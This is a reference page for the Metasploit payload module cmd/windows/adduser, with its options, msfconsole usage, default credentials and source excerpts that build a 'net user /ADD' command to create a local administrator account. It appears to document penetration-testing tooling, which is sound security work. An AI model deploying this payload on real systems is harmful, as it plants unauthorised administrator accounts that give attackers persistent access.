Windows Execute net user /ADD CMD - Metasploit


This page contains detailed information about how to use the payload/cmd/windows/adduser metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Windows Execute net user /ADD CMD
Module: payload/cmd/windows/adduser
Source code: modules/payloads/singles/cmd/windows/adduser.rb
Disclosure date: -
Last modification time: 2022-11-04 00:33:03 +0000
Supported architecture(s): cmd
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use payload/cmd/windows/adduser
msf payload(adduser) > show options
    ... show and set options ...
msf payload(adduser) > generate

To learn how to generate payload/cmd/windows/adduser with msfvenom, please read this.

Go back to menu.

Msfconsole Usage

Here is how the cmd/windows/adduser payload looks in the msfconsole:

msf6 > use payload/cmd/windows/adduser

msf6 payload(cmd/windows/adduser) > show info

       Name: Windows Execute net user /ADD CMD
     Module: payload/cmd/windows/adduser
   Platform: Windows
       Arch: cmd
Needs Admin: No
 Total size: 97
       Rank: Normal

Provided by:
  hdm <[email protected]>
  scriptjunkie
  Chris John Riley

Basic options:
Name    Current Setting  Required  Description
----    ---------------  --------  -----------
CUSTOM                   no        Custom group name to be used instead of default
PASS    Metasploit$1     yes       The password for this user
USER    metasploit       yes       The username to create
WMIC    false            yes       Use WMIC on the target to resolve administrators group

Description:
  Create a new user and add them to local administration group. Note: 
  The specified password is checked for common complexity requirements 
  to prevent the target machine rejecting the user for failing to meet 
  policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 
  1 digit/special)

Module Options

This is a complete list of options available in the cmd/windows/adduser payload:

msf6 payload(cmd/windows/adduser) > show options

Module options (payload/cmd/windows/adduser):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   CUSTOM                   no        Custom group name to be used instead of default
   PASS    Metasploit$1     yes       The password for this user
   USER    metasploit       yes       The username to create
   WMIC    false            yes       Use WMIC on the target to resolve administrators group

Advanced Options

Here is a complete list of advanced options supported by the cmd/windows/adduser payload:

msf6 payload(cmd/windows/adduser) > show advanced

Module advanced options (payload/cmd/windows/adduser):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   COMPLEXITY                  true             yes       Check password for complexity rules
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Password for the adduser payload must be 14 characters or less

Here is a relevant code snippet related to the "Password for the adduser payload must be 14 characters or less" error message:

63:	    cust = datastore['CUSTOM'] || ''
64:	    wmic = datastore['WMIC']
65:	    complexity = datastore['COMPLEXITY']
66:	
67:	    if(pass.length > 14)
68:	      raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
69:	    end
70:	
71:	    if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
72:	      raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
73:	    end

Password: <PASS> doesn't meet complexity requirements and may cause issues

Here is a relevant code snippet related to the "Password: <PASS> doesn't meet complexity requirements and may cause issues" error message:

67:	    if(pass.length > 14)
68:	      raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
69:	    end
70:	
71:	    if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
72:	      raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
73:	    end
74:	
75:	    if not cust.empty?
76:	      print_status("Using custom group name #{cust}")
77:	      return "cmd.exe /c net user #{user} #{pass} /ADD && " +

Go back to menu.

Go back to menu.

See Also

Check also the following modules related to this module:

Authors

  • hdm
  • scriptjunkie
  • Chris John Riley

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.